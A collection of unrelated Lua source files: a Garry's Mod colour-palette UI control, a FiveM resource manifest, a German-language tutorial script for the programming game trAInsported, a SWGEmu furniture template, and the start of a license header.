ColorTable[ index ] = HSVToColor( 360 - col, 1, 0.5 )
end
for i = 0, rows - 1 do -- HSV grey
local col = math.Round( math.min( i * ( 360 / rows ), 359 ) )
index = index + 1
ColorTable[ index ] = HSVToColor( 360 - col, 0.5, 0.5 )
end
for i = 0, rows - 1 do -- HSV bright
local col = math.min( i * ( 360 / rows ), 359 )
index = index + 1
ColorTable[ index ] = HSVToColor( 360 - col, 0.5, 1 )
end
for i = 0, rows - 1 do -- Greyscale
local white = 255 - math.Round( math.min( i * ( 256 / ( rows - 1 ) ), 255 ) )
index = index + 1
ColorTable[ index ] = Color( white, white, white )
end
return ColorTable
end
local function AddButton( panel, color, size, id )
local button = vgui.Create( "DColorButton", panel )
button:SetSize( size or 10, size or 10 )
button:SetID( id )
--
-- If the cookie value exists, then use it
--
local col_saved = panel:GetCookie( "col." .. id, nil )
if ( col_saved != nil ) then
color = col_saved:ToColor()
end
button:SetColor( color or color_Error )
button.DoClick = function( self )
local col = self:GetColor() or color_Error
panel:OnValueChanged( col )
panel:UpdateConVars( col )
panel:DoClick( col, button )
end
button.DoRightClick = function( self )
panel:OnRightClickButton( self )
end
return button
end
-- This stuff could be better
g_ColorPalettePanels = g_ColorPalettePanels or {}
function PANEL:Init()
self:SetSize( 80, 120 )
self:SetNumRows( 8 )
self:Reset()
self:SetCookieName( "palette" )
self:SetButtonSize( 10 )
table.insert( g_ColorPalettePanels, self )
end
-- This stuff could be better
function PANEL:NetworkColorChange()
for id, pnl in pairs( g_ColorPalettePanels ) do
if ( !IsValid( pnl ) ) then table.remove( g_ColorPalettePanels, id ) end
end
for id, pnl in pairs( g_ColorPalettePanels ) do
if ( !IsValid( pnl ) || pnl == self ) then continue end
if ( pnl:GetNumRows() != self:GetNumRows() || pnl:GetCookieName() != self:GetCookieName() ) then continue end
local tab = {}
for id, p in pairs( self:GetChildren() ) do
tab[ p:GetID() ] = p:GetColor()
end
pnl:SetColorButtons( tab )
end
end
function PANEL:DoClick( color, button )
-- Override
end
function PANEL:Reset()
self:SetColorButtons( CreateColorTable( self:GetNumRows() ) )
end
function PANEL:ResetSavedColors()
local tab = CreateColorTable( self:GetNumRows() )
for i, color in pairs( tab ) do
local id = tonumber( i )
if ( !id ) then break end
self:SetCookie( "col." .. id, nil )
end
self:SetColorButtons( tab )
self:NetworkColorChange()
end
function PANEL:PaintOver( w, h )
surface.SetDrawColor( 0, 0, 0, 200 )
local childW = 0
for id, child in pairs( self:GetChildren() ) do
if ( childW + child:GetWide() > w ) then break end
childW = childW + child:GetWide()
end
surface.DrawOutlinedRect( 0, 0, childW, h )
end
function PANEL:SetColorButtons( tab )
self:Clear()
for i, color in pairs( tab or {} ) do
local id = tonumber( i )
if ( !id ) then break end
AddButton( self, color, self:GetButtonSize(), i )
end
self:InvalidateLayout()
end
function PANEL:SetButtonSize( val )
self.m_buttonsize = math.floor( val )
for k, v in pairs( self:GetChildren() ) do
v:SetSize( self:GetButtonSize(), self:GetButtonSize() )
end
self:InvalidateLayout()
end
function PANEL:UpdateConVar( strName, strKey, color )
if ( !strName ) then return end
RunConsoleCommand( strName, tostring( color[ strKey ] ) )
end
function PANEL:UpdateConVars( color )
self:UpdateConVar( self:GetConVarR(), "r", color )
self:UpdateConVar( self:GetConVarG(), "g", color )
self:UpdateConVar( self:GetConVarB(), "b", color )
self:UpdateConVar( self:GetConVarA(), "a", color )
end
function PANEL:SaveColor( btn, color )
-- TODO: If something uses different palette size, consider that a separate palette?
-- ( i.e. for each m_NumRows value, save to a different cookie prefix/suffix? )
-- Avoid unintended color changing.
color = table.Copy( color or color_Error )
btn:SetColor( color )
self:SetCookie( "col." .. btn:GetID(), string.FromColor( color ) )
self:NetworkColorChange()
end
function PANEL:SetColor( newcol )
-- TODO: This should mark this colour as selected..
end
function PANEL:OnValueChanged( newcol )
-- For override
end
function PANEL:OnRightClickButton( btn )
-- For override
end
function PANEL:GenerateExample( ClassName, PropertySheet, Width, Height )
local ctrl = vgui.Create( ClassName )
ctrl:SetSize( 160, 256 )
PropertySheet:AddSheet( ClassName, ctrl, nil, true, true )
end
derma.DefineControl( "DColorPalette", "", PANEL, "DIconLayout" )
|
fx_version 'cerulean'
game 'gta5'
description 'QB-Logs'
version '1.0.0'
shared_script '@qb-core/import.lua'
server_scripts {
'server/server.lua',
'config.lua'
}
|
tutorial = {}
tutMap = {}
tutMap.width = 5
tutMap.height = 4
for i = 0, tutMap.width+1 do
tutMap[i] = {}
end
tutMap[1][3] = "C"
tutMap[2][3] = "C"
tutMap[2][4] = "C"
tutMap[3][4] = "C"
tutMap[4][4] = "C"
tutMap[5][4] = "C"
tutMap[1][2] = "PS"
tutorialSteps = {}
currentStep = 1
currentStepTitle = ""
currentTutBox = nil
local CODE_printHelloTrains = parseCode([[
print( "Hallo trAIns!" )
]])
local CODE_trainPlacing = parseCode([[
function ai.init()
buyTrain( 1, 3 )
end
]])
local CODE_eventExamples = parseCode([[
-- Wird zum Rundenbeginn aufgerufen
function ai.init( map, money )
-- Wird aufgerufen, wenn Zug an Kreuzung ankommt:
function ai.chooseDirection(train, possibleDirections)
-- Aufgrerufen, wenn Zug am Zielort des Passagiers ankommt.
function ai.foundPassengers(train, passengers)
]])
local CODE_pickUpPassenger1 = parseCode([[
-- Code der später den Passagier aufnehmen wird
function ai.foundPassengers( train, passengers )
-- "Körper" der Funktion hier.
end
]])
local CODE_pickUpPassenger2 = parseCode([[
-- Code der den Passagier aufnimmt:
function ai.foundPassengers( train, passengers )
return passengers[1]
end
]])
local CODE_dropOffPassenger = parseCode([[
function ai.foundDestination(train)
-- Passagier absetzten:
dropPassenger(train)
end
]])
function nextTutorialStep()
tutorialBox.succeedOff()
currentStep = currentStep + 1
showCurrentStep()
end
function prevTutorialStep()
currentStep = currentStep - 1
showCurrentStep()
end
function showCurrentStep()
if cBox then
codeBox.remove(cBox)
cBox = nil
end
if additionalInfoBox then
tutorialBox.remove(additionalInfoBox)
additionalInfoBox = nil
end
if tutorialSteps[currentStep].event then
tutorialSteps[currentStep].event()
end
if currentTutBox then
TUT_BOX_X = currentTutBox.x
TUT_BOX_Y = currentTutBox.y
tutorialBox.remove(currentTutBox)
end
if tutorialSteps[currentStep].stepTitle then
currentStepTitle = tutorialSteps[currentStep].stepTitle
else
local l = currentStep - 1
while l > 0 do
if tutorialSteps[l] and tutorialSteps[l].stepTitle then
currentStepTitle = tutorialSteps[l].stepTitle
break
end
l = l - 1
end
end
currentTutBox = tutorialBox.new( TUT_BOX_X, TUT_BOX_Y, tutorialSteps[currentStep].message, tutorialSteps[currentStep].buttons )
end
function startThisTutorial()
--define buttons for message box:
print("tutorialSteps[1].buttons", tutorialSteps[1].buttons[1].name)
if currentTutBox then tutorialBox.remove(currentTutBox) end
currentTutBox = tutorialBox.new( TUT_BOX_X, TUT_BOX_Y, tutorialSteps[1].message, tutorialSteps[1].buttons )
STARTUP_MONEY = 50
timeFactor = 0.5
end
function tutorial.start()
aiFileName = "TutorialAI1.lua"
--ai.backupTutorialAI(aiFileName)
ai.createNewTutAI(aiFileName, fileContent)
stats.start( 1 )
tutMap.time = 0
map.print()
loadingScreen.reset()
loadingScreen.addSection("Neue Karte")
loadingScreen.addSubSection("Neue Karte", "Größe: " .. tutMap.width .. "x" .. tutMap.height)
loadingScreen.addSubSection("Neue Karte", "Zeit: Tag")
loadingScreen.addSubSection("Neue Karte", "Tutorial 1: Baby-Schritte")
train.init()
train.resetImages()
ai.restart() -- make sure aiList is reset!
print("AI DIR:",AI_DIRECTORY)
print("AI NAME:",aiFileName)
ok, msg = pcall(ai.new, AI_DIRECTORY .. aiFileName)
if not ok then
print("Err: " .. msg)
else
stats.setAIName(1, aiFileName:sub(1, #aiFileName-4))
train.renderTrainImage(aiFileName:sub(1, #aiFileName-4), 1)
end
tutorial.noTrees = true -- don't render trees!
map.generate(nil,nil,1,tutMap)
tutorial.createTutBoxes()
tutorial.mapRenderingDoneCallback = startThisTutorial
menu.exitOnly()
end
function tutorial.endRound()
tutorial.placedFirstPassenger = nil
end
local codeBoxX, codeBoxY = 0,0
local tutBoxX, tutBoxY = 0,0
--[[
function additionalInformation(text)
return function()
if not additionalInfoBox then
if currentTutBox then
TUT_BOX_X = currentTutBox.x
TUT_BOX_Y = currentTutBox.y
end
if TUT_BOX_Y + TUT_BOX_HEIGHT + 50 < love.graphics.getHeight() then -- only show BELOW the current box if there's still space there...
additionalInfoBox = tutorialBox.new(TUT_BOX_X, TUT_BOX_Y + TUT_BOX_HEIGHT +10, text, {})
else -- Otherwise, show it ABOVE the current tut box!
additionalInfoBox = tutorialBox.new(TUT_BOX_X, TUT_BOX_Y - 10 - TUT_BOX_HEIGHT, text, {})
end
end
end
end]]--
function tutorial.createTutBoxes()
CODE_BOX_X = love.graphics.getWidth() - CODE_BOX_WIDTH - 30
CODE_BOX_Y = (love.graphics.getHeight() - TUT_BOX_HEIGHT)/2 - 50
local k = 1
tutorialSteps[k] = {}
tutorialSteps[k].stepTitle = "Wie es begann..."
tutorialSteps[k].message = "Willkommen bei trAInsported!"
tutorialSteps[k].buttons = {}
tutorialSteps[k].buttons[1] = {name = "Tutorial beginnen", event = nextTutorialStep}
k = k + 1
tutorialSteps[k] = {}
tutorialSteps[k].message = "Die nahe Zukunft: Vor ein paar Jahren wurde ein neues Produkt auf dem internationalen Markt veröffentlicht: Züge, die von Künstlicher Intelligenz gesteuert werden, besser bekannt als 'trAIns'."
tutorialSteps[k].buttons = {}
tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep}
tutorialSteps[k].buttons[2] = {name = "Weiter", event = nextTutorialStep}
k = k + 1
tutorialSteps[k] = {}
tutorialSteps[k].message = "Es gibt drei große Unterschiede zwischen normalen Zügen und trAIns. Erstens nehmen trAIns immer maximal einen Passagier auf einmal auf. Zweitens fahren sie (hoffentlich) genau dorthin, wo der Passagier hin will. Drittens werden sie komplett von Künstlicher Intelligenz (KI) gesteuert."
tutorialSteps[k].buttons = {}
tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep}
tutorialSteps[k].buttons[2] = {name = "Weiter", event = nextTutorialStep}
k = k + 1
tutorialSteps[k] = {}
tutorialSteps[k].message = "Theoretisch könnte dieses neue Verkehrssystem also Wunder bewirkt haben. Umweltverschmutzung ist gesunken, keiner braucht mehr eigene Fahrzeuge und es gibt keine Unfälle mehr aufgrund der hochintelligenten Systeme.\n\nEs gibt da nur ein Problem..."
tutorialSteps[k].buttons = {}
tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep}
tutorialSteps[k].buttons[2] = {name = "Weiter", event = nextTutorialStep}
k = k + 1
tutorialSteps[k] = {}
tutorialSteps[k].message = "Wo es Profit gibt, gibt es auch immer bald Konkurenz. Neue Unternehmen versuchen alle, im neuen Markt Fuß zu fassen. Und hier kommst du ins Spiel. Dein Job wird es sein, für dein Unternehmen die beste, effizienteste und schnellste KI zu programmieren!\nGenug geredet - fangen wir an!"
tutorialSteps[k].buttons = {}
tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep}
tutorialSteps[k].buttons[2] = {name = "Weiter", event = nextTutorialStep}
k = k + 1
tutorialSteps[k] = {}
tutorialSteps[k].stepTitle = "Controls"
tutorialSteps[k].message = "In diesem Tutorial lernst du:\n1) Die Bedienung des Spiels\n2) Wie man Züge kauft\n3) Wie du deinen ersten Passagier zum Ziel bringen kannst."
tutorialSteps[k].buttons = {}
tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep}
tutorialSteps[k].buttons[2] = {name = "Weiter", event = nextTutorialStep}
k = k + 1
tutorialSteps[k] = {}
tutorialSteps[k].message = "Klicke auf die Karte und ziehe die Maus, um die Kamera zu bewegen. Mit dem Mausrad (oder Q und E) kannst du zoomen.\nDu kannst auch jederzeit F1 drücken, um die Hotkeys anzuzeigen - Versuche es!\nDanach geht das Tutorial weiter..."
tutorialSteps[k].event = setF1Event(k)
tutorialSteps[k].buttons = {}
tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep}
k = k + 1
tutorialSteps[k] = {}
tutorialSteps[k].message = "Gut. Weiter im Text.\nAlle Skripte die du schreibst werden in einem Ordner abgespeichert. Öffne den Ordner mithilfe des 'Ordner Öffnen'-Knopfes. Dann öffne die darin liegende TutorialAI1.lua mit einem beliebigen Text-Editor und lies sie.\nSollte das nicht funktionieren, findest du den Ordner hier: " .. AI_DIRECTORY
tutorialSteps[k].buttons = {}
tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep}
if love.filesystem.getWorkingDirectory() then
tutorialSteps[k].buttons[2] = {name = "Mehr Info", event = additionalInformation("Wenn du den Ordner nicht finden kannst, ist er möglicherweise versteckt. Suche am besten im Internet danach, wie man auf deinem System versteckte Ordner anzeigen kann, zum Beispiel: 'Windows 7 Zeige versteckte Ordner'\nAußerdem: Jeder normale Text-Editor sollte genügen, aber es gibt einige kostenlose, die das Programmieren vereinfachen. Gute Beispiele, die man sich gerne angucken darf, sind:\nGedit, Vim (Linux)\nNotepad++ (Windows)"), inBetweenSteps = true}
tutorialSteps[k].buttons[3] = {name = "Weiter", event = nextTutorialStep}
else
tutorialSteps[k].buttons[2] = {name = "Weiter", event = nextTutorialStep}
end
k = k + 1
tutorialSteps[k] = {}
tutorialSteps[k].stepTitle = "Kommunikation"
tutorialSteps[k].message = "Okay, schreiben wir Code!\nDie erste Sache die wir lernen müssen ist, wie du mit dem Spiel aus dem Code heraus kommunizieren kannst. Tippe den Code, der in der Code-Box rechts angezeigt wird ans Ende von TutorialAI1.lua. Wenn du fertig bist, speichere die Datei und klicke auf 'Neu Laden' am unteren Rand vom Spielfenster."
tutorialSteps[k].event = firstPrint(k)
tutorialSteps[k].buttons = {}
tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep}
tutorialSteps[k].buttons[2] = {name = "Mehr Info", event = additionalInformation("Die 'print' Funktion druckt allen Text (also alles zwischen \" Anführungszeichen) oder Variablen in die Konsole. Das wird dir später das Finden von Fehlern erleichtern."), inBetweenSteps = true}
--tutorialSteps[k].buttons[2] = {name = "Weiter", event = nextTutorialStep}
k = k + 1
tutorialSteps[k] = {}
tutorialSteps[k].message = "Gut gemacht.\n\n..."
tutorialSteps[k].buttons = {}
tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep}
tutorialSteps[k].buttons[2] = {name = "Weiter", event = nextTutorialStep}
k = k + 1
tutorialSteps[k] = {}
tutorialSteps[k].stepTitle = "Wie die KI funktioniert"
tutorialSteps[k].message = "Es gibt bestimmte Funktionen, die die KI brauchen wird, um zu funktionieren. In jeder Runde werden, wenn bestimmte Dinge passieren, passende Funktionen in deinem Code aufgerufen. Hier sind einige Beispiele in der Code-Box. Dein Job ist es also später, diese Funktionen mit Inhalt zu füllen."
tutorialSteps[k].buttons = {}
tutorialSteps[k].event = setCodeExamples
tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep}
tutorialSteps[k].buttons[2] = {name = "Weiter", event = nextTutorialStep}
k = k + 1
tutorialSteps[k] = {}
tutorialSteps[k].stepTitle = "Den ersten Zug kaufen!"
tutorialSteps[k].message = "Schreibe jetzt den Code in der Code-Box unter die Zeile mit 'print', von vorher. Das wird deinen ersten Zug kaufen und ihn an die Position x=1, y=3 setzen. Die Karte ist in Quadrate eingeteilt. Halte 'M' gedrückt um die Koordinaten dieser Quadrate zu sehen. der X-Wert wird von links nach rechts größer, der Y-Wert von oben nach unten. Wenn du fertig bist, speichere wieder und wähle 'Neu Laden'."
tutorialSteps[k].event = setTrainPlacingEvent(k)
tutorialSteps[k].buttons = {}
tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep}
tutorialSteps[k].buttons[2] = {name = "Mehr Info", event = additionalInformation("Achtung,\ndie Koordinaten (X und Y) laufen von 1 bis zur Breite (bzw Höhe) der Karte. Später zur mehr zur Kartenbreite bzw. -höhe.\nWenn du buyTrain mit Koordinaten aufrufst, die kein Quadrat mit Schiene beschreiben, wird das Spiel automatisch nach Schienen in der Nähe suchen und den Zug dorthin setzen."), inBetweenSteps = true}
k = k + 1
tutorialSteps[k] = {}
tutorialSteps[k].message = "Super, du hast gerade deinen ersten Zug auf die Karte gesetzt! Er wird automatisch immer weiter geradeaus fahren."
tutorialSteps[k].buttons = {}
tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep}
tutorialSteps[k].buttons[2] = {name = "Weiter", event = nextTutorialStep}
k = k + 1
tutorialSteps[k] = {}
tutorialSteps[k].message = "Du hast inzwischen eine einfach ai.init Funktion programmiert.\nDie Funktion 'ai.init()' ist die Funktion die später immer am Anfang des Spiels aufgerufen wird. In dieser Funktion kannst du später also die Karte analysieren, deine Vorgehensweise planen und - wie wir es eben getan haben - deinen ersten Zug kaufen."
tutorialSteps[k].buttons = {}
tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep}
tutorialSteps[k].buttons[2] = {name = "Mehr Info", event = additionalInformation("Die Funktion ai.init() wird immer mit 2 Argumenten aufgerufen, etwa so: ai.init( map, money )\nDas Erste beschreibt die momentane Karte (mehr dazu später) und das Zweite das Vermögen dass du zum Anfang schon hast. Du hast immer am Anfang genug Geld um mindestens einen Zug zu kaufen.\nAber für den Moment können wir diese Argumente vollkommen ignorieren."), inBetweenSteps = true}
tutorialSteps[k].buttons[3] = {name = "Weiter", event = nextTutorialStep}
k = k + 1
tutorialSteps[k] = {}
tutorialSteps[k].stepTitle = "Passagiere aufnehmen"
tutorialSteps[k].message = "Ich habe eben einen Passagier auf die Karte gesetzt. Ihr Name ist GLaDOS. Halte die Leertaste gedrückt, um zu sehen wo sie hin will!\n\nPassagiere erscheinen immer nur neben einer Schiene und wollen zu einem anderen Quadrat mit einer Schiene."
tutorialSteps[k].event = setPassengerStart(k)
tutorialSteps[k].buttons = {}
tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep}
tutorialSteps[k].buttons[2] = {name = "Mehr Info", event = additionalInformation("GLaDOS will zum Kuchen-Laden. Sie hat mal jemandem sehr wichtigem einen Kuchen versprochen, das Versprechen aber nie eingelöst.\n\n...\nDas soll sich jetzt ändern."), inBetweenSteps = true}
tutorialSteps[k].buttons[3] = {name = "Weiter", event = nextTutorialStep}
k = k + 1
tutorialSteps[k] = {}
tutorialSteps[k].message = "Dein Job ist es, den Passagier aufzunehmen und sie zu ihrem Ziel zu bringen. Dafür müssen wir die Funktion 'ai.foundPassengers' für unsere TutorialAI1 definieren. Diese Funktion wird immer dann aufgerufen, wenn einer deiner Züge ein Quadrat erreicht, auf dem mindestens ein Passagier steht."
tutorialSteps[k].buttons = {}
tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep}
tutorialSteps[k].buttons[2] = {name = "Weiter", event = nextTutorialStep}
k = k + 1
tutorialSteps[k] = {}
tutorialSteps[k].message = "Die Funktion ai.foundPassengers wird zwei Argumente haben: Das Erste, 'train', sagt uns, welcher Zug die Passagiere gefunden hat. Das Zweite, 'passengers', sagt uns, welche Passagiere gefunden wurden - nämlich die, die auf dem gleichen Quadrat stehen wie der Zug. Mit diesen beiden können wir gleich dem Zug sagen, welchen Passagier er aufnehmen soll."
tutorialSteps[k].buttons = {}
tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep}
tutorialSteps[k].buttons[2] = {name = "Weiter", event = nextTutorialStep}
k = k + 1
tutorialSteps[k] = {}
tutorialSteps[k].message = "Definieren wir zuerst unsere Funktion. Tippe den Code, der in der Code-Box gezeigt wird, in die .lua Datei. Du musst die Kommentare (Zeilen, die mit '- -' anfangen) nicht abtippen."
tutorialSteps[k].buttons = {}
tutorialSteps[k].event = pickUpPassengerStep1
tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep}
tutorialSteps[k].buttons[2] = {name = "Weiter", event = nextTutorialStep}
k = k + 1
tutorialSteps[k] = {}
tutorialSteps[k].message = "Du musst zwei Dinge wissen:\n1. 'passengers' ist eine Liste von allen Passagieren auf dem momentanen Quadrat.\nUm einzelne Passagiere anzusprechen kann man passengers[1], passengers[2], passenger[3] usw. verwendenen. Wenn die Funktion ai.foundPassengers einen Passagier zurückgibt - mit einem 'return' Statement -, dann wird der Zug diesen Passagier aufnehmen."
tutorialSteps[k].buttons = {}
tutorialSteps[k].event = pickUpPassengerStep1
tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep}
tutorialSteps[k].buttons[2] = {name = "Mehr Info", event = additionalInformation("Das heißt dass der Passagier nur dann aufgenommen wird, wenn der Zug nicht schon einen anderen Passagier befördert."), inBetweenSteps = true}
tutorialSteps[k].buttons[3] = {name = "Weiter", event = nextTutorialStep}
k = k + 1
tutorialSteps[k] = {}
tutorialSteps[k].message = "Es gibt nur einen Passagier, also ist in der Liste nur einen Passagier, der in diesem Fall durch passengers[1] angesprochen wird (ein Zweiter wäre passengers[2] usw). Wenn wir also diesen passenger[1] per 'return' zurückgeben wird GLaDOS in den Zug steigen.\nSchreibe die neue Zeile in die Funktion von eben, so wie in der Code-Box angezeigt.\nWenn du damit fertig bist, lade den Code neu und sieh zu, wie dein Zug GLaDOS aufnimmt!"
tutorialSteps[k].buttons = {}
tutorialSteps[k].event = pickUpPassengerStep2(k)
tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep}
k = k + 1
tutorialSteps[k] = {}
tutorialSteps[k].message = "Du hast erfolgreich GLaDOS aufgenommen!\nDas Bild des Zuges hat sich verändert, um anzuzeigen, dass er jetzt besetzt ist.\n\nWir sind fast fertig - wir müssen sie nur noch absetzen!"
tutorialSteps[k].buttons = {}
tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep}
tutorialSteps[k].buttons[2] = {name = "Weiter", event = nextTutorialStep}
k = k + 1
tutorialSteps[k] = {}
tutorialSteps[k].stepTitle = "Aussteigen, bitte!"
tutorialSteps[k].message = "Du kannst jederzeit Passagiere absetzen, indem du die Funktion dropPassenger(train) in deinem Programm aufrufst. Um die Dinge zu vereinfachen wird immer, wenn ein Zug am Ziel des Passagiers den er gerade trägt angekommen ist, die Funktion ai.foundDestination() in deinem Programm aufgerufen - wenn du sie programmiert hast.\nAlso programmieren wir sie jetzt!"
tutorialSteps[k].buttons = {}
tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep}
tutorialSteps[k].buttons[2] = {name = "Weiter", event = nextTutorialStep}
k = k + 1
tutorialSteps[k] = {}
tutorialSteps[k].message = "Schreibe die Funktion in der Code-Box ans Ende von TutorialAI1.lua.\nDann starte die Runde wieder neu und warte bis der Zug GLaDOS ans Ziel gebracht hat."
tutorialSteps[k].buttons = {}
tutorialSteps[k].event = dropOffPassengerEvent(k)
tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep}
k = k + 1
tutorialSteps[k] = {}
tutorialSteps[k].stepTitle = "Fertig!"
tutorialSteps[k].message = "Yay, du hast das erste Tutorial beendet!\n\nKlicke auf 'Mehr Ideen' um ein paar Tipps zu bekommen, was du noch alles versuchen kannst bevor du mit dem nächsten Tutorial weitermachst."
tutorialSteps[k].buttons = {}
tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep}
tutorialSteps[k].buttons[2] = {name = "Mehr Ideen", event = additionalInformation("1. Versuche etwas in die Konsole zu schreiben wenn der Zug einen Passagier aufnimmt und wenn er einen Passagier absetzt (z.B. 'Willkommen!' und 'Tschüss').\n2. Kaufe zwei Züge statt nur einem, indem du buyTrain zweimal aufrufst, in ai.init().\n3. Lass einen Zug rechts unten auf der Karte starten, statt links oben!"), inBetweenSteps = true}
tutorialSteps[k].buttons[3] = {name = "Weiter", event = nextTutorialStep}
k = k + 1
tutorialSteps[k] = {}
tutorialSteps[k].message = "Direkt zum nächsten Tutorial oder zurück ins Menü:"
tutorialSteps[k].buttons = {}
tutorialSteps[k].buttons[1] = {name = "Zurück", event = prevTutorialStep}
tutorialSteps[k].buttons[2] = {name = "Schließen", event = endTutorial}
tutorialSteps[k].buttons[3] = {name = "Nächstes Tutorial", event = nextTutorial}
k = k + 1
end
function firstPrint(k)
return function()
setFirstPrintEvent(k)
cBox = codeBox.new(CODE_BOX_X, CODE_BOX_Y, CODE_printHelloTrains)
console.setVisible(true)
quickHelp.setVisibility(false)
end
end
function endTutorial()
map.endRound()
mapImage = nil
curMap = nil
tutorial = {}
menu.init()
end
function nextTutorial()
map.endRound()
mapImage = nil
curMap = nil
tutorial = {}
menu.init()
menu.executeTutorial("Tutorial2.lua")
end
function setF1Event(k)
return function()
tutorial.f1Event = function ()
tutorial.f1Event = nil
if currentStep == k then
nextTutorialStep()
tutorialBox.succeed() --play succeed sound!
end
end
end
end
function setFirstPrintEvent(k)
tutorial.consoleEvent = function (str)
if str:sub(1, 13) == "[TutorialAI1]" then
if str:upper() == string.upper("[TutorialAI1]\tHallo trAIns!") then
tutorialSteps[k+1].message = "Super!\nDein Text sollte in der Konsole links erscheinen. Die Konsole zeigt dir auch, welche der KIs den Text geschrieben hat, in diesem Fall TutorialAI1. Das wird später eine Rolle spielen, wenn mehr als eine KI im Spiel ist.\n(Wenn du den Text nicht sehen kannst, kannst du dieses Info-Fenster verschieben in dem du draufklickst und es wegziehst.)"
else
tutorialSteps[k+1].message = "Nicht genau der richtige Text, aber das passt schon.\n\nDein Text sollte in der Konsole links erscheinen. Die Konsole zeigt dir auch, welche der KIs den Text geschrieben hat, in diesem Fall TutorialAI1. Das wird später eine Rolle spielen, wenn mehr als eine KI im Spiel ist.\n(Wenn du den Text nicht sehen kannst, kannst du dieses Info-Fenster verschieben in dem du draufklickst und es wegziehst.)"
end
tutorial.consoleEvent = nil
if currentStep == k then
nextTutorialStep()
tutorialBox.succeed()
end
end
end
end
function setCodeExamples()
cBox = codeBox.new(CODE_BOX_X, CODE_BOX_Y, CODE_eventExamples)
end
function setTrainPlacingEvent(k)
return function()
cBox = codeBox.new(CODE_BOX_X, CODE_BOX_Y, CODE_trainPlacing)
tutorial.trainPlacingEvent = function()
tutorial.trainPlacingEvent = nil
tutorial.trainPlaced = true
tutorial.numPassengers = 0
if currentStep == k then
nextTutorialStep()
tutorialBox.succeed()
end
end
end
end
function setPassengerStart(k)
return function()
if not tutorial.placedFirstPassenger then
passenger.new(5,4, 1,3, "Am Ende gibt es Kuchen. Und eine Party. Nein, wirklich!") -- place passenger at 3, 4 wanting to go to 1,3
tutorial.placedFirstPassenger = true
tutorial.restartEvent = function()
print(currentStep, k)
if currentStep >= k then -- if I haven't gone back to a previous step
passenger.new(5,4, 1,3, "Am Ende gibt es Kuchen. Und eine Party. Nein, wirklich!") -- place passenger at 3, 4 wanting to go to 1,3
tutorial.placedFirstPassenger = true
end
end
end
end
end
function pickUpPassengerStep1()
cBox = codeBox.new(CODE_BOX_X, CODE_BOX_Y, CODE_pickUpPassenger1)
end
function pickUpPassengerStep2(k)
return function()
cBox = codeBox.new(CODE_BOX_X, CODE_BOX_Y, CODE_pickUpPassenger2)
tutorial.passengerPickupEvent = function()
tutorial.passengerPickupEvent = nil
if currentStep == k then
nextTutorialStep()
tutorialBox.succeed()
end
end
end
end
function dropOffPassengerEvent(k)
return function()
cBox = codeBox.new(CODE_BOX_X, CODE_BOX_Y, CODE_dropOffPassenger)
tutorial.passengerDropoffCorrectlyEvent = function()
tutorial.passengerDropoffCorrectlyEvent = nil
if currentStep == k then
nextTutorialStep()
tutorialBox.succeed()
end
end
tutorial.passengerDropoffWronglyEvent = function() -- called when the passenger is dropped off elsewhere
if currentTutBox then
currentTutBox.text = "Passagier am falschen Ort abgesetzt!\n\nSchreibe die Funktion die in der Code-Box angezeigt wird in deine TutorialAI1.lua Datei!"
end
end
end
end
function tutorial.roundStats()
love.graphics.setColor(255,255,255,255)
x = love.graphics.getWidth()-roundStats:getWidth()-20
y = 20
love.graphics.draw(roundStats, x, y)
love.graphics.print("Tutorial 1: Baby-Schritte", x + roundStats:getWidth()/2 - FONT_STAT_MSGBOX:getWidth("Tutorial 1: Baby-Schritte")/2, y+10)
love.graphics.print(currentStepTitle, x + roundStats:getWidth()/2 - FONT_STAT_MSGBOX:getWidth(currentStepTitle)/2, y+30)
end
function tutorial.handleEvents(dt)
newTrainQueueTime = newTrainQueueTime + dt*timeFactor
if newTrainQueueTime >= .1 then
train.handleNewTrains()
newTrainQueueTime = newTrainQueueTime - .1
end
end
fileContent = [[
-- Tutorial 1: Baby-Schritte
-- Was du wissen solltest:
-- a) Zeilen die mit zwei Minus-Zeichen beginnen (--) sind Kommentare und werden vom Spiel ignoriert.
-- b) Alle dein Code wird in der Lua-Skript-Sprache geschrieben.
-- c) Die Anfänge von Lua sind recht einfach zu lernen, und dieses Spiel wird sie dir Schritt für Schritt beibringen.
-- d) Lua ist nicht nur einfach sondern auch sehr, sehr schnell. Um es kurz zu fassen:
-- e) Lua doesn't suck.
-- Gehe jetzt wieder ins Spiel zurück und drücke dort auf den "Weiter" Knopf.
-- Noch eine Bemerkung: Es gibt Text-Editoren die das Programmieren erleichtern, weil sie bestimmte Schlüsselwörter hervorherben und einfärben. Beispiel: Notepad++ oder gedit. Man findet auch viele, wenn man im Internet nach "Lua editor" sucht. Es funktioniert aber auch jedes normale Text-Programm.
]]
|
object_tangible_furniture_flooring_tile_frn_flooring_tile_s12 = object_tangible_furniture_flooring_tile_shared_frn_flooring_tile_s12:new {
}
ObjectTemplates:addTemplate(object_tangible_furniture_flooring_tile_frn_flooring_tile_s12, "object/tangible/furniture/flooring/tile/frn_flooring_tile_s12.iff")
|
-- Copyright (c) 2016 Miro Mannino
-- Permission is hereby granted, free of charge, to any person obtaining a copy of this
